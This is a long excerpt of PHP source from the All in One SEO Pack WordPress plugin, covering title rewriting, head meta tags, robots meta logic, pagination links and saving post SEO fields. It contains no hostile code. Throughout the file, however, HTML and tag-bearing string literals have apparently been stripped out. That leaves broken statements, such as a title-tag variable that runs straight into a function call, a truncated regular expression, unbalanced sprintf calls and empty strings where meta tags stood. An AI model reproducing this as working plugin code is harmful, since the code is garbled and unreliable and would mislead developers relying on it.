Checks whether All in One SEO Pack is enabled for this page. * * @since ? * @since 3.3 Show Google Analytics if post type isn't checked in options. * * @return bool */ function is_page_included() { global $aioseop_options; if ( is_feed() ) { return false; } if ( aioseop_mrt_exclude_this_page() ) { return false; } $post = $this->get_queried_object(); $post_type = ''; if ( ! empty( $post ) && ! empty( $post->post_type ) ) { $post_type = $post->post_type; } $wp_post_types = $aioseop_options['aiosp_cpostactive']; if ( empty( $wp_post_types ) ) { $wp_post_types = array(); } if ( AIOSEOPPRO ) { if ( is_tax() ) { if ( empty( $aioseop_options['aiosp_taxactive'] ) || ! is_tax( $aioseop_options['aiosp_taxactive'] ) ) { return false; } } elseif ( is_category() ) { if ( empty( $aioseop_options['aiosp_taxactive'] ) || ! in_array( 'category', $aioseop_options['aiosp_taxactive'] ) ) { return false; } } elseif ( is_tag() ) { if ( empty( $aioseop_options['aiosp_taxactive'] ) || ! in_array( 'post_tag', $aioseop_options['aiosp_taxactive'] ) ) { return false; } } elseif ( ! in_array( $post_type, $wp_post_types ) && ! is_front_page() && ! is_post_type_archive( $wp_post_types ) && ! is_404() ) { return false; } } else { if ( is_singular() && ! in_array( $post_type, $wp_post_types ) && ! is_front_page() ) { return false; } if ( is_post_type_archive() && ! is_post_type_archive( $wp_post_types ) ) { return false; } } $this->meta_opts = $this->get_current_options( array(), 'aiosp' ); $aiosp_disable = false; if ( ! empty( $this->meta_opts ) ) { if ( isset( $this->meta_opts['aiosp_disable'] ) ) { $aiosp_disable = $this->meta_opts['aiosp_disable']; } } $aiosp_disable = apply_filters( 'aiosp_disable', $aiosp_disable ); // API filter to disable AIOSEOP. if ( $aiosp_disable ) { return false; } if ( ! empty( $this->meta_opts ) && true == $this->meta_opts['aiosp_disable'] ) { return false; } return true; } /** * Output Callback for Title * * @since ? * * @param $content * @return mixed|string */ function output_callback_for_title( $content ) { return $this->rewrite_title( $content ); } /** * Rewrite Title * * Used for forcing title rewrites. * * @since ? * * @param $header * @return mixed|string */ function rewrite_title( $header ) { global $wp_query; if ( ! $wp_query ) { $header .= "\n"; return $header; } // Check if we're in the main query to support bad themes and plugins. $old_wp_query = null; if ( ! $wp_query->is_main_query() ) { $old_wp_query = $wp_query; wp_reset_query(); } $title = $this->wp_title(); if ( ! empty( $title ) ) { $header = $this->replace_title( $header, $title ); } if ( ! empty( $old_wp_query ) ) { $GLOBALS['wp_query'] = $old_wp_query; // Change the query back after we've finished. unset( $old_wp_query ); } return $header; } /** * Replace Title * * @since ? * * @param $content * @param $title * @return mixed */ function replace_title( $content, $title ) { // We can probably improve this... I'm not sure half of this is even being used. $title = trim( strip_tags( $title ) ); $title_tag_start = 'strpos( $content, $title_tag_start, 0 ); $end = $this->strpos( $content, $title_tag_end, 0 ); $this->title_start = $start; $this->title_end = $end; $this->orig_title = $title; return preg_replace( '/]*?)\s*>([^<]*?)<\/title\s*>/is', '' . preg_replace( '/(\$|\\\\)(?=\d)/', '\\\\\1', strip_tags( $title ) ) . '', $content, 1 ); } /** * Add Hooks * * Adds WordPress hooks. * * @since ? * @since 2.3.13 #899 Adds filter:aioseop_description. * @since 2.3.14 #593 Adds filter:aioseop_title. * @since 2.4 #951 Increases filter:aioseop_description arguments number. */ function add_hooks() { global $aioseop_options, $aioseop_update_checker; if ( is_admin() ) { // this checks if the settiongs options exist and if they dont, it sets the defaults. // let's do this only in backend. aioseop_update_settings_check(); } add_filter( 'user_contactmethods', 'aioseop_add_contactmethods' ); if ( is_user_logged_in() && is_admin_bar_showing() && current_user_can( 'aiosp_manage_seo' ) ) { add_action( 'admin_bar_menu', array( $this, 'admin_bar_menu' ), 1000 ); } if ( is_admin() ) { if ( is_multisite() ) { add_action( 'network_admin_menu', array( $this, 'admin_menu' ) ); } add_action( 'admin_menu', array( $this, 'admin_menu' ) ); add_action( 'admin_head', array( $this, 'add_page_icon' ) ); add_action( 'admin_enqueue_scripts', array( $this, 'admin_enqueue_styles_all' ) ); add_action( 'admin_init', 'aioseop_addmycolumns', 1 ); add_action( 'admin_init', 'aioseop_handle_ignore_notice' ); add_action( 'shutdown', array( $this, 'check_recently_activated_modules' ), 99 ); if ( AIOSEOPPRO ) { if ( current_user_can( 'update_plugins' ) ) { add_action( 'admin_notices', array( $aioseop_update_checker, 'key_warning' ) ); } add_action( 'after_plugin_row_' . AIOSEOP_PLUGIN_BASENAME, array( $aioseop_update_checker, 'add_plugin_row' ) ); } } else { if ( '1' == $aioseop_options['aiosp_can'] || 'on' == $aioseop_options['aiosp_can'] ) { remove_action( 'wp_head', 'rel_canonical' ); } // Analytics. if ( aioseop_option_isset( 'aiosp_google_analytics_id' ) ) { add_action( 'aioseop_modules_wp_head', array( $this, 'aiosp_google_analytics' ) ); } add_action( 'wp_head', array( $this, 'wp_head' ), apply_filters( 'aioseop_wp_head_priority', 1 ) ); add_action( 'amp_post_template_head', array( $this, 'amp_head' ), 11 ); add_action( 'template_redirect', array( $this, 'template_redirect' ), 0 ); } add_filter( 'aioseop_description', array( &$this, 'filter_description' ), 10, 3 ); add_filter( 'aioseop_title', array( &$this, 'filter_title' ) ); } /** * Visibility Warning * * Checks if 'Search Engine Visibility' is enabled in Settings > Reading. * * @todo Change to earlier hook. Before `admin_enqueue` if possible. * * @since ? * @since 3.0 Changed to AIOSEOP_Notices class. * * @see `self::constructor()` with 'all_admin_notices' Filter Hook */ function visibility_warning() { global $aioseop_notices; if ( '0' === get_option( 'blog_public' ) ) { $aioseop_notices->activate_notice( 'blog_public_disabled' ); } elseif ( '1' === get_option( 'blog_public' ) ) { $aioseop_notices->deactivate_notice( 'blog_public_disabled' ); } } /** * WooCommerce Upgrade Notice * * @since ? * @since 3.0 Changed to AIOSEOP Notices. */ public function woo_upgrade_notice() { global $aioseop_notices; if ( class_exists( 'WooCommerce' ) && ! AIOSEOPPRO ) { $aioseop_notices->activate_notice( 'woocommerce_detected' ); } else { global $aioseop_notices; $aioseop_notices->deactivate_notice( 'woocommerce_detected' ); } } /** * Make Unique Attachment Description * * @since ? * * @param $description * @return string */ function make_unique_att_desc( $description ) { global $wp_query; if ( is_attachment() ) { $url = $this->aiosp_mrt_get_url( $wp_query ); $unique_desc = ''; if ( $url ) { $matches = array(); preg_match_all( '/(\d+)/', $url, $matches ); if ( is_array( $matches ) ) { $unique_desc = join( '', $matches[0] ); } } $description .= ' ' . $unique_desc; } return $description; } /** * AMP Head * * Adds meta description to AMP pages. * * @todo Change void returns to empty string returns. * * @since 2.3.11.5 * * @return string|void */ function amp_head() { if ( ! $this->is_seo_enabled_for_cpt() ) { return; } $post = $this->get_queried_object(); $description = apply_filters( 'aioseop_amp_description', $this->get_main_description( $post ) ); // Get the description. // To disable AMP meta description just __return_false on the aioseop_amp_description filter. if ( isset( $description ) && false == $description ) { return; } global $aioseop_options; // Handle the description format. if ( isset( $description ) && ( $this->strlen( $description ) > $this->minimum_description_length ) && ! ( is_front_page() && is_paged() ) ) { $description = $this->trim_description( $description ); if ( ! isset( $meta_string ) ) { $meta_string = ''; } // Description format. $description = apply_filters( 'aioseop_amp_description_full', $this->apply_description_format( $description, $post ) ); $desc_attr = ''; if ( ! empty( $aioseop_options['aiosp_schema_markup'] ) ) { $desc_attr = ''; } $desc_attr = apply_filters( 'aioseop_amp_description_attributes', $desc_attr ); $meta_string .= sprintf( "\n", $desc_attr, $description ); } if ( ! empty( $meta_string ) ) { echo $meta_string; } } /** * Is SEO Enabled for CPT * * Checks whether the current CPT should show the SEO tags. * * @since 2.9 * * @todo Remove this as it is only a simple boolean check. * * @return bool */ private function is_seo_enabled_for_cpt() { global $aioseop_options; return empty( $post_type ) || in_array( get_post_type(), $aioseop_options['aiosp_cpostactive'], true ); } /** * Checks to see if Google Analytics should be excluded from the current page. * * Looks at both the individual post settings and the General Settings. * * @since 3.3.0 * * @return bool */ function analytics_excluded() { $this->meta_opts = $this->get_current_options( array(), 'aiosp' ); // Get page-specific options. $aiosp_disable_analytics = false; if ( isset( $this->meta_opts['aiosp_disable_analytics'] ) ) { $aiosp_disable_analytics = $this->meta_opts['aiosp_disable_analytics']; } if ( $aiosp_disable_analytics || ! aioseop_option_isset( 'aiosp_google_analytics_id' ) ) { return true; } return false; } /** * WP Head * * @since ? * @since 2.3.14 #932 Removes filter "aioseop_description". */ function wp_head() { // Check if we're in the main query to support bad themes and plugins. global $wp_query; $old_wp_query = null; if ( ! $wp_query->is_main_query() ) { $old_wp_query = $wp_query; wp_reset_query(); } if ( ! $this->is_page_included() ) { /** * The aioseop_robots_meta filter hook. * * Can be used to filter the robots meta tag value. * e.g. 'noindex, nofollow' * * @since ? * * @param string * @return string */ $robots_meta = apply_filters( 'aioseop_robots_meta', $this->get_robots_meta() ); if ( ! empty( $robots_meta ) && 'index,follow' !== $robots_meta ) { echo sprintf( '\n"; } if ( ! empty( $old_wp_query ) ) { // Change the query back after we've finished. $GLOBALS['wp_query'] = $old_wp_query; unset( $old_wp_query ); } if ( ! $this->analytics_excluded() ) { remove_action( 'aioseop_modules_wp_head', array( $this, 'aiosp_google_analytics' ) ); add_action( 'wp_head', array( $this, 'aiosp_google_analytics' ) ); } return; } if ( ! $this->is_seo_enabled_for_cpt() ) { return; } $opts = $this->meta_opts; global $aioseop_update_checker, $wp_query, $aioseop_options, $posts; static $aioseop_dup_counter = 0; $aioseop_dup_counter ++; if ( ! defined( 'AIOSEOP_UNIT_TESTING' ) && $aioseop_dup_counter > 1 ) { /* translators: %1$s, %2$s and %3$s are placeholders and should not be translated. %1$s expands to the name of the plugin, All in One SEO Pack, %2$s to the name of a filter function and %3$s is replaced with a number. */ echo "\n\n"; if ( ! empty( $old_wp_query ) ) { // Change the query back after we've finished. $GLOBALS['wp_query'] = $old_wp_query; unset( $old_wp_query ); } return; } if ( is_home() && ! is_front_page() ) { $post = aiosp_common::get_blog_page(); } else { $post = $this->get_queried_object(); } $meta_string = null; $description = ''; // Logging - rewrite handler check for output buffering. $this->check_rewrite_handler(); /* translators: The complete string is: "All in One SEO Pack by Michael Torbert of Semper Fi Web Design". The placeholders shouldn't be altered; only the words "by" and "of" should be translated. */ printf( "\n\n"; if ( AIOSEOPPRO ) { echo '\n"; } $blog_page = aiosp_common::get_blog_page( $post ); $save_posts = $posts; // This outputs robots meta tags and custom canonical URl on WooCommerce product archive page. // See Github issue https://github.com/semperfiwebdesign/all-in-one-seo-pack/issues/755. if ( function_exists( 'wc_get_page_id' ) && is_post_type_archive( 'product' ) ) { $post_id = wc_get_page_id( 'shop' ); if ( $post_id ) { $post = get_post( $post_id ); global $posts; $opts = $this->get_current_options( array(), 'aiosp', null, $post ); $this->meta_opts = $this->get_current_options( array(), 'aiosp', null, $post ); $posts = array(); $posts[] = $post; } } $posts = $save_posts; // Handle the description format. // We are not going to mandate that post description needs to be present because the content could be derived from a custom field too. if ( ! ( is_front_page() && is_paged() ) ) { $description = $this->get_main_description( $post ); // Get the description. $description = $this->trim_description( $description ); if ( ! isset( $meta_string ) ) { $meta_string = ''; } // Description format. $description = apply_filters( 'aioseop_description_full', $this->apply_description_format( $description, $post ) ); $desc_attr = ''; if ( ! empty( $aioseop_options['aiosp_schema_markup'] ) ) { $desc_attr = ''; } $desc_attr = apply_filters( 'aioseop_description_attributes', $desc_attr ); if ( ! empty( $description ) ) { $meta_string .= sprintf( "\n", $desc_attr, $description ); } } // Get the keywords. $togglekeywords = 0; if ( isset( $aioseop_options['aiosp_togglekeywords'] ) ) { $togglekeywords = $aioseop_options['aiosp_togglekeywords']; } if ( 0 == $togglekeywords && ! ( is_front_page() && is_paged() ) ) { $keywords = $this->get_main_keywords(); $keywords = $this->apply_cf_fields( $keywords ); $keywords = apply_filters( 'aioseop_keywords', $keywords ); if ( isset( $keywords ) && ! empty( $keywords ) ) { if ( isset( $meta_string ) ) { $meta_string .= "\n"; } $keywords = wp_filter_nohtml_kses( str_replace( '"', '', $keywords ) ); $key_attr = apply_filters( 'aioseop_keywords_attributes', '' ); $meta_string .= sprintf( "\n", $key_attr, $keywords ); } } if ( get_option( 'blog_public' ) ) { /** * The aioseop_robots_meta filter hook. * * Can be used to filter the robots meta tag value. * e.g. 'noindex, nofollow' * * @since ? * * @param string * @return string */ $robots_meta = apply_filters( 'aioseop_robots_meta', $this->get_robots_meta() ); if ( ! empty( $robots_meta ) && 'index,follow' !== $robots_meta ) { $meta_string .= sprintf( '\n"; } } // Handle site verification. if ( is_front_page() ) { foreach ( array( 'google' => 'google-site-verification', 'bing' => 'msvalidate.01', 'pinterest' => 'p:domain_verify', 'yandex' => 'yandex-verification', 'baidu' => 'baidu-site-verification', ) as $k => $v ) { if ( ! empty( $aioseop_options[ "aiosp_{$k}_verify" ] ) ) { $meta_string .= '' . "\n"; } } } // Handle extra meta fields. foreach ( array( 'page_meta', 'post_meta', 'home_meta', 'front_meta' ) as $meta ) { if ( ! empty( $aioseop_options[ "aiosp_{$meta}_tags" ] ) ) { $$meta = html_entity_decode( stripslashes( $aioseop_options[ "aiosp_{$meta}_tags" ] ), ENT_QUOTES ); } else { $$meta = ''; } } if ( is_page() && isset( $page_meta ) && ! empty( $page_meta ) && ( ! is_front_page() || empty( $front_meta ) ) ) { if ( isset( $meta_string ) ) { $meta_string .= "\n"; } $meta_string .= $page_meta; } if ( is_single() && isset( $post_meta ) && ! empty( $post_meta ) ) { if ( isset( $meta_string ) ) { $meta_string .= "\n"; } $meta_string .= $post_meta; } if ( is_front_page() && ! empty( $front_meta ) ) { if ( isset( $meta_string ) ) { $meta_string .= "\n"; } $meta_string .= $front_meta; } else { if ( is_home() && ! empty( $home_meta ) ) { if ( isset( $meta_string ) ) { $meta_string .= "\n"; } $meta_string .= $home_meta; } } $prev_next = $this->get_prev_next_links( $post ); $prev = apply_filters( 'aioseop_prev_link', $prev_next['prev'] ); $next = apply_filters( 'aioseop_next_link', $prev_next['next'] ); if ( ! empty( $prev ) ) { $meta_string .= '\n"; } if ( ! empty( $next ) ) { $meta_string .= '\n"; } if ( null != $meta_string ) { echo "$meta_string\n"; } /** * The aioseop_disable_schema filter hook. * * Used to disable schema.org output programatically. * * @since 3.2.8 * * @return boolean */ if ( ! apply_filters( 'aioseop_disable_schema', false ) ) { // Handle Schema. if ( version_compare( PHP_VERSION, '5.5', '>=' ) ) { if ( ! empty( $aioseop_options['aiosp_schema_markup'] ) && boolval( $aioseop_options['aiosp_schema_markup'] ) ) { $aioseop_schema = new AIOSEOP_Schema_Builder(); $aioseop_schema->display_json_ld_head_script(); } } else { if ( ! empty( $aioseop_options['aiosp_schema_markup'] ) && (bool) $aioseop_options['aiosp_schema_markup'] ) { $aioseop_schema = new AIOSEOP_Schema_Builder(); $aioseop_schema->display_json_ld_head_script(); } } } // Handle canonical links. $show_page = true; if ( ! empty( $aioseop_options['aiosp_no_paged_canonical_links'] ) ) { $show_page = false; } if ( isset( $aioseop_options['aiosp_can'] ) && $aioseop_options['aiosp_can'] ) { $url = ''; if ( ! empty( $opts['aiosp_custom_link'] ) && ! is_home() ) { $url = $opts['aiosp_custom_link']; if ( apply_filters( 'aioseop_canonical_url_pagination', $show_page ) ) { $url = $this->get_paged( $url ); } } if ( empty( $url ) ) { $url = $this->aiosp_mrt_get_url( $wp_query, $show_page ); } $url = $this->validate_url_scheme( $url ); $url = apply_filters( 'aioseop_canonical_url', $url ); if ( ! empty( $url ) ) { echo '' . "\n"; } } do_action( 'aioseop_modules_wp_head' ); echo sprintf( "\n", AIOSEOP_PLUGIN_NAME ); if ( ! empty( $old_wp_query ) ) { // Change the query back after we've finished. $GLOBALS['wp_query'] = $old_wp_query; unset( $old_wp_query ); } } /** * Check Rewrite Handler * * @since ? */ function check_rewrite_handler() { global $aioseop_options; $force_rewrites = 1; if ( isset( $aioseop_options['aiosp_force_rewrites'] ) ) { $force_rewrites = $aioseop_options['aiosp_force_rewrites']; } if ( $force_rewrites ) { // Make the title rewrite as short as possible. if ( function_exists( 'ob_list_handlers' ) ) { $active_handlers = ob_list_handlers(); } else { $active_handlers = array(); } if ( sizeof( $active_handlers ) > 0 && $this->strtolower( $active_handlers[ sizeof( $active_handlers ) - 1 ] ) == $this->strtolower( 'All_in_One_SEO_Pack::output_callback_for_title' ) ) { ob_end_flush(); } else { $this->log( 'another plugin interfering?' ); // If we get here there *could* be trouble with another plugin :(. $this->ob_start_detected = true; // Try alternate method -- pdb. add_filter( 'wp_title', array( $this, 'wp_title' ), 20 ); if ( function_exists( 'ob_list_handlers' ) ) { foreach ( ob_list_handlers() as $handler ) { $this->log( "detected output handler $handler" ); } } } } } /** * Trim Description * * @since ? * * @param $description * @return mixed|string */ function trim_description( $description ) { $description = trim( wp_strip_all_tags( $description ) ); $description = str_replace( '"', '"', $description ); $description = str_replace( "\r\n", ' ', $description ); $description = str_replace( "\n", ' ', $description ); return $description; } /** * Apply Description Format * * @since ? * * @param $description * @param null $post * @return mixed */ function apply_description_format( $description, $post = null ) { /** * Runs before applying the formatting for the meta description. * * @since 3.0 */ do_action( 'aioseop_before_apply_description_format' ); global $aioseop_options; $description_format = $aioseop_options['aiosp_description_format']; if ( ! isset( $description_format ) || empty( $description_format ) ) { $description_format = '%description%'; } $description = str_replace( '%description%', apply_filters( 'aioseop_description_override', $description ), $description_format ); if ( false !== strpos( $description, '%site_title%', 0 ) ) { $description = str_replace( '%site_title%', get_bloginfo( 'name' ), $description ); } if ( false !== strpos( $description, '%blog_title%', 0 ) ) { $description = str_replace( '%blog_title%', get_bloginfo( 'name' ), $description ); } if ( false !== strpos( $description, '%site_description%', 0 ) ) { $description = str_replace( '%site_description%', get_bloginfo( 'description' ), $description ); } if ( false !== strpos( $description, '%blog_description%', 0 ) ) { $description = str_replace( '%blog_description%', get_bloginfo( 'description' ), $description ); } if ( false !== strpos( $description, '%wp_title%', 0 ) ) { $description = str_replace( '%wp_title%', $this->get_original_title(), $description ); } if ( false !== strpos( $description, '%post_title%', 0 ) ) { $description = str_replace( '%post_title%', $this->get_aioseop_title( $post, false ), $description ); } if ( false !== strpos( $description, '%current_date%', 0 ) ) { $description = str_replace( '%current_date%', date_i18n( get_option( 'date_format' ) ), $description ); } if ( false !== strpos( $description, '%current_year%', 0 ) ) { $description = str_replace( '%current_year%', date( 'Y' ), $description ); } if ( false !== strpos( $description, '%current_month%', 0 ) ) { $description = str_replace( '%current_month%', date( 'M' ), $description ); } if ( false !== strpos( $description, '%current_month_i18n%', 0 ) ) { $description = str_replace( '%current_month_i18n%', date_i18n( 'M' ), $description ); } if ( false !== strpos( $description, '%post_date%', 0 ) ) { $description = str_replace( '%post_date%', get_the_date(), $description ); } if ( false !== strpos( $description, '%post_year%', 0 ) ) { $description = str_replace( '%post_year%', get_the_date( 'Y' ), $description ); } if ( false !== strpos( $description, '%post_month%', 0 ) ) { $description = str_replace( '%post_month%', get_the_date( 'F' ), $description ); } /* * This was intended to make attachment descriptions unique if pulling from the parent... let's remove it and see if there are any problems * on the roadmap is to have a better hierarchy for attachment description pulling * if ($aioseop_options['aiosp_can']) $description = $this->make_unique_att_desc($description); */ $description = $this->apply_cf_fields( $description ); /** * Runs after applying the formatting for the meta description. * * @since 3.0 */ do_action( 'aioseop_after_apply_description_format' ); return esc_html( $description ); } /** * The get_robots_meta() function. * * Determines and returns the noindex/nofollow values for the robots meta tag string. * * @since 2.3.5 * @since 2.3.11.5 Added noindex API filter hook for password protected posts. * @since 3.2.0 Refactored function to fix various bugs. * * @return string */ function get_robots_meta() { global $aioseop_options; $page_number = $this->get_page_number(); $post_type = get_post_type(); $noindex = false; $nofollow = false; $aiosp_noindex = ''; $aiosp_nofollow = ''; $tax_noindex = array(); $is_static_page = false; $is_static_posts_page = false; $is_woocommerce_shop_page = false; if ( isset( $aioseop_options['aiosp_tax_noindex'] ) && ! empty( $aioseop_options['aiosp_tax_noindex'] ) ) { $tax_noindex = $aioseop_options['aiosp_tax_noindex']; } if ( is_front_page() && 0 === $page_number ) { return $this->get_robots_meta_string( false, false ); } if ( is_home() && 0 !== (int) get_option( 'page_for_posts' ) ) { $is_static_posts_page = true; } // TODO Use aioseop_is_woocommerce_active() when #2720 is merged. if ( class_exists( 'woocommerce' ) && is_shop() ) { $is_woocommerce_shop_page = true; } if ( $is_static_posts_page || $is_woocommerce_shop_page ) { $post_type = 'page'; $is_static_page = true; } if ( ! is_date() && ! is_author() && ! is_search() ) { $aiosp_noindex = $this->get_noindex_nofollow_meta_value( 'noindex' ); $aiosp_nofollow = $this->get_noindex_nofollow_meta_value( 'nofollow' ); } if ( 'on' === $aiosp_noindex || ( ! empty( $aioseop_options['aiosp_paginated_noindex'] ) && $page_number > 1 ) ) { $noindex = true; } if ( 'on' === $aiosp_nofollow || ( ! empty( $aioseop_options['aiosp_paginated_nofollow'] ) && $page_number > 1 ) ) { $nofollow = true; } if ( is_singular() && $this->is_password_protected() && apply_filters( 'aiosp_noindex_password_posts', false ) ) { $noindex = true; } if ( $noindex && $nofollow ) { // Not needed to run subsequent checks if both are true. return $this->get_robots_meta_string( $noindex, $nofollow ); } if ( ( is_category() && ! empty( $aioseop_options['aiosp_category_noindex'] ) ) || ( is_date() && ! empty( $aioseop_options['aiosp_archive_date_noindex'] ) ) || ( is_author() && ! empty( $aioseop_options['aiosp_archive_author_noindex'] ) ) || ( is_tag() && ! empty( $aioseop_options['aiosp_tags_noindex'] ) ) || ( is_search() && ! empty( $aioseop_options['aiosp_search_noindex'] ) ) || ( is_404() && ! empty( $aioseop_options['aiosp_404_noindex'] ) ) || ( is_tax() && in_array( get_query_var( 'taxonomy' ), $tax_noindex ) ) ) { $noindex = true; } if ( is_single() || is_page() || is_attachment() || $this->check_singular() || $is_static_page ) { if ( '' === $aiosp_noindex && ! empty( $aioseop_options['aiosp_cpostnoindex'] ) && in_array( $post_type, $aioseop_options['aiosp_cpostnoindex'] ) ) { $noindex = true; } if ( '' === $aiosp_nofollow && ! empty( $aioseop_options['aiosp_cpostnofollow'] ) && in_array( $post_type, $aioseop_options['aiosp_cpostnofollow'] ) ) { $nofollow = true; } } return $this->get_robots_meta_string( $noindex, $nofollow ); } /** * The get_noindex_nofollow_meta_value() function. * * Gets the noindex/nofollow meta value for the requested object. * * @since 3.2.0 * * @param string $key The requested meta key. * @return string */ private function get_noindex_nofollow_meta_value( $key ) { $meta = array(); $meta_key = '_aioseop_' . $key; $meta_value = ''; $queried_object = get_queried_object(); if ( empty( $queried_object ) ) { return $meta_value; } // TODO Use $meta_opts when get_current_options() is refactored - #2729. if ( property_exists( $queried_object, 'ID' ) ) { $meta = get_post_meta( $queried_object->ID ); } if ( property_exists( $queried_object, 'term_id' ) ) { $meta = get_term_meta( $queried_object->term_id ); } // TODO Use aioseop_is_woocommerce_active() when #2720 is merged. if ( class_exists( 'woocommerce' ) && is_shop() ) { $meta = get_post_meta( wc_get_page_id( 'shop' ) ); } if ( is_array( $meta ) && array_key_exists( $meta_key, $meta ) ) { $meta_value = $meta[ $meta_key ][0]; } return $meta_value; } /** * The get_robots_meta_string() function. * * Helper function for get_robots_meta(). * * @since 3.2.0 * * @param bool $noindex * @param bool $nofollow * * @return string */ private function get_robots_meta_string( $noindex, $nofollow ) { $index_value = 'index'; $follow_value = 'follow'; if ( $noindex ) { $index_value = 'noindex'; } if ( $nofollow ) { $follow_value = 'nofollow'; } return $index_value . ',' . $follow_value; } /** * Check Singular * * Determine if the post is 'like' singular. In some specific instances, such as when the Reply post type of bbpress is loaded in its own page, * it reflects as singular intead of single * * @since 2.4.2 * * @return bool */ private function check_singular() { global $wp_query, $post; $is_singular = false; if ( is_singular() ) { // #1297 - support for bbpress 'reply' post type. if ( $post && 'reply' === $post->post_type ) { $is_singular = true; } } return $is_singular; } /** * Is Password Protected * * Determine if post is password protected. * * @since 2.3.11.5 * * @return bool */ function is_password_protected() { global $post; if ( ! empty( $post->post_password ) ) { return true; } return false; } /** * Get Previous/Next Links * * @since ? * * @param null $post * @return array */ function get_prev_next_links( $post = null ) { $prev = ''; $next = ''; $page = $this->get_page_number(); if ( is_home() || is_archive() || is_paged() ) { global $wp_query; $max_page = $wp_query->max_num_pages; if ( $page > 1 ) { $prev = get_previous_posts_page_link(); } if ( $page < $max_page ) { $paged = $GLOBALS['paged']; if ( ! is_single() ) { if ( ! $paged ) { $paged = 1; } $nextpage = intval( $paged ) + 1; if ( ! $max_page || $max_page >= $nextpage ) { $next = get_pagenum_link( $nextpage ); } } } } elseif ( is_page() || is_single() ) { $numpages = 1; $multipage = 0; $page = get_query_var( 'page' ); if ( ! $page ) { $page = 1; } if ( is_single() || is_page() || is_feed() ) { $more = 1; } $content = $post->post_content; if ( false !== strpos( $content, '', 0 ) ) { if ( $page > 1 ) { $more = 1; } $content = str_replace( "\n\n", '', $content ); $content = str_replace( "\n", '', $content ); $content = str_replace( "\n", '', $content ); // Ignore nextpage at the beginning of the content. if ( 0 === strpos( $content, '', 0 ) ) { $content = substr( $content, 15 ); } $pages = explode( '', $content ); $numpages = count( $pages ); if ( $numpages > 1 ) { $multipage = 1; } } else { $page = null; } if ( ! empty( $page ) ) { if ( $page > 1 ) { // Cannot use `wp_link_page()` since it is for rendering purposes and has no control over the page number. // TODO Investigate alternate wp concept. If none is found, keep private function in case of any future WP changes. $prev = _wp_link_page( $page - 1 ); } if ( $page + 1 <= $numpages ) { // Cannot use `wp_link_page()` since it is for rendering purposes and has no control over the page number. // TODO Investigate alternate wp concept. If none is found, keep private function in case of any future WP changes. $next = _wp_link_page( $page + 1 ); } } if ( ! empty( $prev ) ) { $dom = new DOMDocument(); $dom->loadHTML( $prev ); $prev = $dom->getElementsByTagName( 'a' )->item( 0 )->getAttribute( 'href' ); } if ( ! empty( $next ) ) { $dom = new DOMDocument(); $dom->loadHTML( $next ); $next = $dom->getElementsByTagName( 'a' )->item( 0 )->getAttribute( 'href' ); } } return array( 'prev' => $prev, 'next' => $next, ); } /** * Validate URL Scheme * * Validates whether the url should be https or http. * * Mainly we're just using this for canonical URLS, but eventually it may be useful for other things * * @since 2.3.5 * @since 2.3.11 Removed check for legacy protocol setting. Added filter. * * @param $url * @return string $url */ function validate_url_scheme( $url ) { // TODO we should check for the site setting in the case of auto. global $aioseop_options; $scheme = apply_filters( 'aioseop_canonical_protocol', false ); if ( 'http' === $scheme ) { $url = preg_replace( '/^https:/i', 'http:', $url ); } if ( 'https' === $scheme ) { $url = preg_replace( '/^http:/i', 'https:', $url ); } return $url; } /** * Google Analytics * * @since ? * * @param $options * @param $location * @param $settings * @return mixed */ function aiosp_google_analytics() { new aioseop_google_analytics; } /** * Save Post Data * * @since ? * * @param $id * @return bool */ function save_post_data( $id ) { $awmp_edit = null; $nonce = null; if ( empty( $_POST ) ) { return false; } if ( isset( $_POST['aiosp_edit'] ) ) { $awmp_edit = $_POST['aiosp_edit']; } if ( isset( $_POST['nonce-aioseop-edit'] ) ) { $nonce = $_POST['nonce-aioseop-edit']; } if ( isset( $awmp_edit ) && ! empty( $awmp_edit ) && wp_verify_nonce( $nonce, 'edit-aioseop-nonce' ) ) { $optlist = array( 'keywords', 'description', 'title', 'custom_link', 'sitemap_exclude', 'disable', 'disable_analytics', 'noindex', 'nofollow', ); if ( ! ( ! empty( $this->options['aiosp_can'] ) ) ) { unset( $optlist['custom_link'] ); } foreach ( $optlist as $f ) { $field = "aiosp_$f"; if ( isset( $_POST[ $field ] ) ) { $$field = $_POST[ $field ]; } } $optlist = array( 'keywords', 'description', 'title', 'custom_link', 'noindex', 'nofollow', ); if ( ! ( ! empty( $this->options['aiosp_can'] ) ) ) { unset( $optlist['custom_link'] ); } foreach ( $optlist as $f ) { delete_post_meta( $id, "_aioseop_{$f}" ); } delete_post_meta( $id, '_aioseop_sitemap_exclude' ); delete_post_meta( $id, '_aioseop_disable' ); delete_post_meta( $id, '_aioseop_disable_analytics' ); foreach ( $optlist as $f ) { $var = "aiosp_$f"; $field = "_aioseop_$f"; if ( isset( $$var ) && ! empty( $$var ) ) { add_post_meta( $id, $field, $$var ); } } if ( isset( $aiosp_sitemap_exclude ) && ! empty( $aiosp_sitemap_exclude ) ) { add_post_meta( $id, '_aioseop_sitemap_exclude', $aiosp_sitemap_exclude ); } if ( isset( $aiosp_disable ) && ! empty( $aiosp_disable ) ) { add_post_meta( $id, '_aioseop_disable', $aiosp_disable ); if ( isset( $aiosp_disable_analytics ) && ! empty( $aiosp_disable_analytics ) ) { add_post_meta( $id, '_aioseop_disable_analytics', $aiosp_disable_analytics ); } } } } /** * Display Tabbed Metabox * * @since ? * * @param $post * @param $metabox */ function display_tabbed_metabox( $post, $metabox ) { $tabs = $metabox['args']; echo '
      '; $header = $this->get_metabox_header( $tabs ); echo $header; $active = ''; foreach ( $tabs as $m ) { echo '
      '; if ( ! $active ) { $active = ' style="display:none;"'; } $m['args'] = $m['callback_args']; $m['callback'][0]->{$m['callback'][1]}( $post, $m ); echo '
      '; } echo '
      '; } /** * Get Metabox Header * * @since ? * * @param $tabs * * @return string */ function get_metabox_header( $tabs ) { $header = '
        '; $active = ' active'; foreach ( $tabs as $t ) { if ( $active ) { /* translators: This is the name of the main tab of the All in One SEO Pack meta box that appears on the Edit screen. */ $title = __( 'Main Settings', 'all-in-one-seo-pack' ); } else { $title = $t['title']; } $header .= '
      • '; $active = ''; } $header .= '
